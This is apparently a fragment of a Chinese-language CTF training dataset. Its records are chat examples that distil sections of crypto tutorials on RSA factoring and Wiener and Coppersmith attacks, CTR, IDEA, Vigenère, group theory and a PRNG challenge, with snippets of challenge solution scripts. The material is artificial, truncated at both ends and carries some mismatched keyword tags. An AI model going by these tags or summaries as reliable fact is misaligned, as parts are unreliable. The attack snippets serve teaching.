"record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "source_root": "docs", "source_sha256": "6259fc513790c9ff568013f584880f4a71f53961789ec6058ea303d80373bd75", "split": "train", "split_group_key": "1a1a9516953b9476b23ff222", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "d-attacks"], "title": "扩展维纳攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-79a7d371013fbbda7e4d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/ctr.md` 中的章节「2023 某CTF」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/ctr.md`\n标题：CTR\n章节：CTR > 2023 某CTF\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2023 某CTF”展开。\n- 题面 ``python from Crypto.Util.number import long_to_bytes, bytes_to_long from Crypto.Cipher import AES from Crypto.Util import Counter from hashlib import sha256 from secret import flag def padding(msg): return msg + os.urandom(16 - len(msg) % 16) msg = b\"wh...\n- Key in my Heart/Counter!\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- blockcipher\n- mode\n- ctr.md\n- code:python\n\n代码/命令片段线索：\n- python: 27 行，首行 `from Crypto.Util.number import long_to_bytes, bytes_to_long`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1922, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "2023 某CTF", "heading_path": ["CTR", "2023 某CTF"], "original_id": "docs-25a9baa132912fc3e449", "original_line": 332, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/ctr.md", "source_root": "docs", "source_sha256": "3cc50c89e7ed49c2959bc6044eb83c42163db1c59e43c10428c03f7068d1efb4", "split": "train", "split_group_key": "b33546665a62cf7a54304b65", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "漏洞利用", "crypto", "blockcipher", "mode", "ctr.md", "code:python"], "title": "CTR"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/ctr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-7a5e80de0d75fcae9297", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_module_attack.md` 中的章节「|p-q| 较小」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_module_attack.md`\n标题：模数相关攻击\n章节：模数相关攻击 > p & q 不当分解 N > |p-q| 较小\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“|p-q| 较小”展开。\n- 那么我们可以按照如下方法来分解 - 顺序检查 $\\sqrt{n}$ 的每一个整数 x，直到找到一个 x 使得 $x^2-n$ 是平方数，记为 $y^2$ - 那么 $x^2-n=y^2$，进而根据平方差公式即可分解 N\n- 首先 $$ \\frac{(p+q)^2}{4}-n=\\frac{(p+q)^2}{4}-pq=\\frac{(p-q)^2}{4} $$ 既然 |p-q| 较小，那么 $\\frac{(p-q)^2}{4}$ 自然也比较小，进而 $\\frac{(p+q)^2}{4}$ 只是比 N 稍微大一点，所以 $\\frac{p+q}{2}$ 与 $\\sqrt{n}$ 相近。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-module-attack.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 292, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "|p-q| 较小", "heading_path": ["模数相关攻击", "p & q 不当分解 N", "|p-q| 较小"], "original_id": "docs-55ba6ad6a763aa6cc1a4", "original_line": 266, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_module_attack.md", "source_root": "docs", "source_sha256": "5e7dd9efc7fea1fd04e70386bbcbf56b68a69be6a7860c56473f3dcdbad0f4b1", "split": "train", "split_group_key": "161a350af9238a406f6f594a", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-module-attack.md"], "title": "模数相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_module_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-7c9fd9e79626416aba79", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md` 中的章节「分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md`\n标题：扩展维纳攻击\n章节：扩展维纳攻击 > 分析\n路径分类：crypto / crypto/asymmetric/rsa\n分块：2/3\n\n核心知识点：\n- 本节主题围绕“分析”展开。\n- * 到这里，其实已经讲清楚了扩展维纳攻击的整个流程，如何选择复合关系，如何构造格，如何构造矩阵$D$以及如何求解。\n- 比如在$n=2$的情况我们选取$W_1, G_{1, 2}, W_1W_2$而不是$W_1, W_2, W_1W_2$因为前者$\\beta_2 = 5/2 + \\alpha$而后者$\\beta_2 = 2$。\n- 文件: figure/extendwiener-chosen-relations.png] 这里我也给出$n\\le8$的选择关系以及$n=6$时候构造的矩阵以供验证自己是否能够编写出选择关系式的逻辑代码。\n- 在原文的文末也给出了$n\\le 5$时候的选择关系表。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- d-attacks\n- code:txt\n\n代码/命令片段线索：\n- txt: 256 行，首行 `-`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 6613, "chunk_count": 3, "chunk_index": 1, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "分析", "heading_path": ["扩展维纳攻击", "分析"], "original_id": "docs-1bd365a6a569e5dbfec5", "original_line": 298, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "source_root": "docs", "source_sha256": "6259fc513790c9ff568013f584880f4a71f53961789ec6058ea303d80373bd75", "split": "train", "split_group_key": "5a98f77caacd7635f93b8ce7", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "d-attacks", "code:txt"], "title": "扩展维纳攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-7f8e63e1d60291b34be5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_module_attack.md` 中的章节「2017 SECCON very smooth」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_module_attack.md`\n标题：模数相关攻击\n章节：模数相关攻击 > p & q 不当分解 N > 2017 SECCON very smooth\n路径分类：crypto / crypto/asymmetric/rsa\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“2017 SECCON very smooth”展开。\n- `html  Very smooth  
 Answer: One of these primes is very smooth. 
   ``\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-module-attack.md\n\n代码/命令片段线索：\n- plain: 2 行，首行 `可以看出，对于 p-1 确实有很多小因子，但是个数太多，这就会使得进行枚举的时候出现指数爆炸的情况，因此没有分解出来。`\n- plain: 1 行，首行 `最后，将私钥导入到 wireshark 中即可得到明文（Edit -> Preferences -> Protocols -> SSL -> RSA Key List）。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 2371, "chunk_count": 2, "chunk_index": 1, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "2017 SECCON very smooth", "heading_path": ["模数相关攻击", "p & q 不当分解 N", "2017 SECCON very smooth"], "original_id": "docs-2f6221644fe0863ac53f", "original_line": 269, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_module_attack.md", "source_root": "docs", "source_sha256": "5e7dd9efc7fea1fd04e70386bbcbf56b68a69be6a7860c56473f3dcdbad0f4b1", "split": "train", "split_group_key": "3990f34de0e997d5674e09e6", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-module-attack.md"], "title": "模数相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_module_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-82af39abfd3f0f06ba1f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/idea.md` 中的章节「概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/idea.md`\n标题：IDEA\n章节：IDEA > 概述\n路径分类：crypto / crypto/blockcipher/idea.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“概述”展开。\n- 国际数据加密算法（International Data Encryption Algorithm，IDEA），最早称为改良建议加密标准（Improved Proposed Encryption Standard，IPES），是密码学上一种对称密钥分组密码，由 James Massey 与来学嘉设计，在1991年首次提出。\n- 这个算法的提出，是为了取代旧有的数据加密标准 DES。\n\n关键术语：\n- ROP/JOP\n- 密码学\n- crypto\n- blockcipher\n- idea.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 204, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "概述", "heading_path": ["IDEA", "概述"], "original_id": "docs-daae465b0f5ed8bf7ca8", "original_line": 324, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/idea.md", "source_root": "docs", "source_sha256": "62681a35c372b0057f9949878333cbe09735d4c59f664765ff2ac2782946aa5a", "split": "train", "split_group_key": "f8604b069dd861a13a510b93", "subcategory": "crypto/blockcipher/idea.md", "terms": ["ROP/JOP", "密码学", "crypto", "blockcipher", "idea.md"], "title": "IDEA"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/idea.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-83e1cd7583880fe0b152", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/polyalphabetic.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/polyalphabetic.md`\n标题：多表代换加密\n章节：多表代换加密 > Vigenere 维吉尼亚密码 > 原理\n路径分类：crypto / crypto/classical/polyalphabetic.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 文件: ./figure/vigenere1.jpg] 下面给出一个例子 `` 明文：come greatwall 密钥：crypto ` 首先，对密钥进行填充使其长度与明文长度一样。\n- 文件: ./figure/vigenere2.jpg] ` 明文：come greatwall 密钥：crypto 密文：efkt zfgrrltzn ``\n- 维吉尼亚密码（Vigenere）是使用一系列凯撒密码组成密码字母表的加密算法，属于多表密码的一种简单形式。\n- | 明文 | c | o | m | e | g | r | e | a | t | w | a | l | l | | ---- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | | 密钥 | c | r | y | p | t | o | c | r | y | p | t | o | c | 其次，查表得密文 [图片: 维吉尼亚加密;\n\n关键术语：\n- 密码学\n- crypto\n- classical\n- polyalphabetic.md\n\n代码/命令片段线索：\n- plain: 2 行，首行 `明文：come greatwall`\n- plain: 3 行，首行 `明文：come greatwall`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 479, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "原理", "heading_path": ["多表代换加密", "Vigenere 维吉尼亚密码", "原理"], "original_id": "docs-294afbe19254dd41e076", "original_line": 378, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/polyalphabetic.md", "source_root": "docs", "source_sha256": "16e9d23649907764bf91530b02b8733cc909e3ba9fa80e74a20055102c0215a0", "split": "train", "split_group_key": "414720b52228fd957b253423", "subcategory": "crypto/classical/polyalphabetic.md", "terms": ["密码学", "crypto", "classical", "polyalphabetic.md"], "title": "多表代换加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/polyalphabetic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-83ed8ba31669502f7794", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/others.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/others.md`\n标题：其它类型加密\n章节：其它类型加密 > 01248 密码 > 例子\n路径分类：crypto / crypto/classical/others.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例子”展开。\n- 这里我们以CFF 2016 影之密码为例进行介绍，题目 > 8842101220480224404014224202480122 我们按照0来进行分割，如下 | 内容 | 数字 | 字符 | | ------ | -------------- | ---- | | 88421 | 8+8+4+2+1=23 | W | | 122 | 1+2+2=5 | E | | 48 | 4+8=12 | L | | 2244 | 2+2+4+4=12 | L | | 4 | 4 | D | | 142242 | 1+4+...\n\n关键术语：\n- 密码学\n- crypto\n- classical\n- others.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 345, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "例子", "heading_path": ["其它类型加密", "01248 密码", "例子"], "original_id": "docs-67b6f91233475b8dde1a", "original_line": 371, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/others.md", "source_root": "docs", "source_sha256": "fec39924776c8c5b10bcab7894ea71cb2fc1da23f7e37fe39babf9d7dda47d46", "split": "train", "split_group_key": "a9f75464d345ebc7fd737857", "subcategory": "crypto/classical/others.md", "terms": ["密码学", "crypto", "classical", "others.md"], "title": "其它类型加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/others.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-8403b0c823c6babb40d8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md` 中的章节「2016 HCTF RSA2」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md`\n标题：Coppersmith 相关攻击\n章节：Coppersmith 相关攻击 > Factoring with High Bits Known > 2016 HCTF RSA2\n路径分类：crypto / crypto/asymmetric/rsa\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“2016 HCTF RSA2”展开。\n- 所以我们首先可以利用我们得到的 n 来获取 u，如下 `` u=hex(n)[2:-1][-480:-320] ` 虽然，这样可能会获得较多位数的 u，但是这样并不影响，我们对 u 解密的时候每一分组都互不影响，所以我们只可能影响最高位数的 p4。\n- 结果如下 `shell ➜ 2016-HCTF-RSA2 git:(master) ✗ sage payload.sage sys:1: RuntimeWarning: not adding directory '' to sys.path since everybody can write to it.\n- k/2 位的，所以说，random 的部分最多可以影响原来的 n 的最低的 $k/2+k/16=9k/16$ 比特位。\n- 但这也并不影响，我们已经得到了因子 p 的的很多部分了，我们可以去尝试着解密了。\n- 而，我们还知道 n 的最低的 5k/8=10k/16 比特为其实就是 y，所以其并没有影响到 u，即使影响到也就最多影响到一位。\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-coppersmith-attack.md\n- code:python\n- code:shell\n\n代码/命令片段线索：\n- plain: 1 行，首行 `u=hex(n)[2:-1][-480:-320]`\n- python: 6 行，首行 `if __name__==\"__main__\":`\n- python: 2 行，首行 `➜ 2016-HCTF-RSA2 git:(master) ✗ python exp_p4.py`\n- python: 25 行，首行 `from sage.all import *`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 4092, "chunk_count": 2, "chunk_index": 1, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "2016 HCTF RSA2", "heading_path": ["Coppersmith 相关攻击", "Factoring with High Bits Known", "2016 HCTF RSA2"], "original_id": "docs-29d9e4eb4585c962b0bb", "original_line": 255, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_coppersmith_attack.md", "source_root": "docs", "source_sha256": "db220315af2be2a8291b622dd2df0469bd60abd814130105e60db525c7d32fa0", "split": "train", "split_group_key": "f69df0ee5a7ebd7a938b07fd", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-coppersmith-attack.md", "code:python", "code:shell"], "title": "Coppersmith 相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_coppersmith_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-861475b47a0a6bf68dc6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/discrete-log/discrete-log.md` 中的章节「参考」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/discrete-log/discrete-log.md`\n标题：离散对数\n章节：generate the group > 参考\n路径分类：crypto / crypto/asymmetric/discrete-log\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考”展开。\n- 初等数论，潘承洞，潘承彪 - https://ee.stanford.edu/~hellman/publications/28.pdf - https://en.wikipedia.org/wiki/Pohlig%E2%80%93Hellman_algorithm#cite_note-Menezes97p108-2 - https://fortenf.org/e/crypto/2017/12/03/survey-of-discrete-log-algos.html\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- asymmetric\n- discrete-log\n- discrete-log.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 236, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "参考", "heading_path": ["generate the group", "参考"], "original_id": "docs-8c888d706d04f8d48053", "original_line": 207, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/discrete-log.md", "source_root": "docs", "source_sha256": "12483417d69f6b25f640d4229054bf6914168d469d2259d1b5b0f1a3c915fe8d", "split": "train", "split_group_key": "7f6adef71f8549c6b03ac68b", "subcategory": "crypto/asymmetric/discrete-log", "terms": ["密码学", "AI安全", "crypto", "asymmetric", "discrete-log", "discrete-log.md"], "title": "离散对数"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/discrete-log.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-862c1da2e0fe63fe6fd0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/basic/introduction.md` 中的章节「交换群」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/basic/introduction.md`\n标题：基础数学知识\n章节：基础数学知识 > 群 > 交换群\n路径分类：crypto / crypto/basic/introduction.md\n分块：1/1\n\n核心知识点：\n- 给定一个群 $(G,\\circ)$，如若其满足交换律（Commutativity）i.e. $\\forall v, u \\in G,$ $ v \\circ u = u \\circ v, $ 则称这个群是一个交换群或 Abel（阿贝尔）群（Abelian Group）。\n- 易见，上文提到的举例中，整数加法群 $(\\mathbb{Z},+)$ 是交换群，但 $m$ 阶一般线性群 $GL_m(\\mathbb{R})$ 不是交换群。\n\n关键术语：\n- 密码学\n- crypto\n- basic\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 218, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "交换群", "heading_path": ["基础数学知识", "群", "交换群"], "original_id": "docs-80598040f5e30a1781e9", "original_line": 309, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/basic/introduction.md", "source_root": "docs", "source_sha256": "6bd61ccc5c5b508b02ed9bd72f41166b716765584fc608abb06dafa277590d6f", "split": "train", "split_group_key": "e2f6556c375560f648300f36", "subcategory": "crypto/basic/introduction.md", "terms": ["密码学", "crypto", "basic", "introduction.md"], "title": "基础数学知识"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/basic/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-8642499c75606a7ea129", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/summary.md` 中的章节「exp2.py」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/summary.md`\n标题：总结\n章节：exp2.py\n路径分类：crypto / crypto/classical/summary.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“exp2.py”展开。\n- enc_str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}' dec_dic = {k:v for v,k in enumerate(enc_str)} encrypt = 'POR4dnyTLHBfwbxAAZhe}}ocZR3Cxcftw9' flag_bg = 'SECCON{**************************}'\n- sim_key = [dec_dic[encrypt[i]]-dec_dic[flag_bg[i]] for i in range(7)] # 破解模拟密钥 sim_key = sim_key + sim_key[::-1]\n- flag_ed = [dec_dic[v]-sim_key[k%14] for k,v in enumerate(encrypt)] # 模拟密钥解密 flag_ed = ''.join([enc_str[i%len(enc_str)] for i in flag_ed]) # 解码 print(flag_ed) ```\n- ``bash $ python exp2.py SECCON{Welc0me_to_SECCON_CTF_2017} ``\n\n关键术语：\n- 密码学\n- crypto\n- classical\n- summary.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `得到明文如下：`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 568, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "exp2.py", "heading_path": ["exp2.py"], "original_id": "docs-d1aff40a3d136bb7d544", "original_line": 389, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/summary.md", "source_root": "docs", "source_sha256": "2ba3e6d53373332f5d4b059bfb576dd03c7d445a2456057fb1d5d9d84d31b435", "split": "train", "split_group_key": "a8c192a584a59fd990273708", "subcategory": "crypto/classical/summary.md", "terms": ["密码学", "crypto", "classical", "summary.md"], "title": "总结"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/summary.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-8801326c4240b98e3d7b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/streamcipher/prng/problem.md` 中的章节「处理接下来的20轮交互」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/streamcipher/prng/problem.md`\n标题：题目\n章节：处理接下来的20轮交互\n路径分类：crypto / crypto/streamcipher/prng\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“处理接下来的20轮交互”展开。\n- for _ in range(20): readline() readline() input_list = readline() readline()\n- 处理输入数据 input_list = list(map(int, input_list.split())) # 将输入数据转换为整数列表\n- lambda 函数将列表中的每个元素与 0xffffffff 按位与 # map 函数将 lambda 函数应用到列表中的每个元素 # join 函数将列表中的元素连接成字符串，用空格分隔 input_cut = \" \".join(map(lambda x: str(x & 0xffffffff), input_list)) print(f'input: {input_cut}')\n- 使用 pwntools 的 process 调用外部程序 # 编译题目提供的 server.cpp 文件, 方便交互 # g++ -std=c++11 server.cpp -o server io2 = process(\"./server\") io2.sendline(input_cut.encode()) input_solve = io2.recvline().decode().strip()\n- input_solve = list(map(int, input_solve.split())) first_element = str(input_solve[0])\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- streamcipher\n- prng\n- problem.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 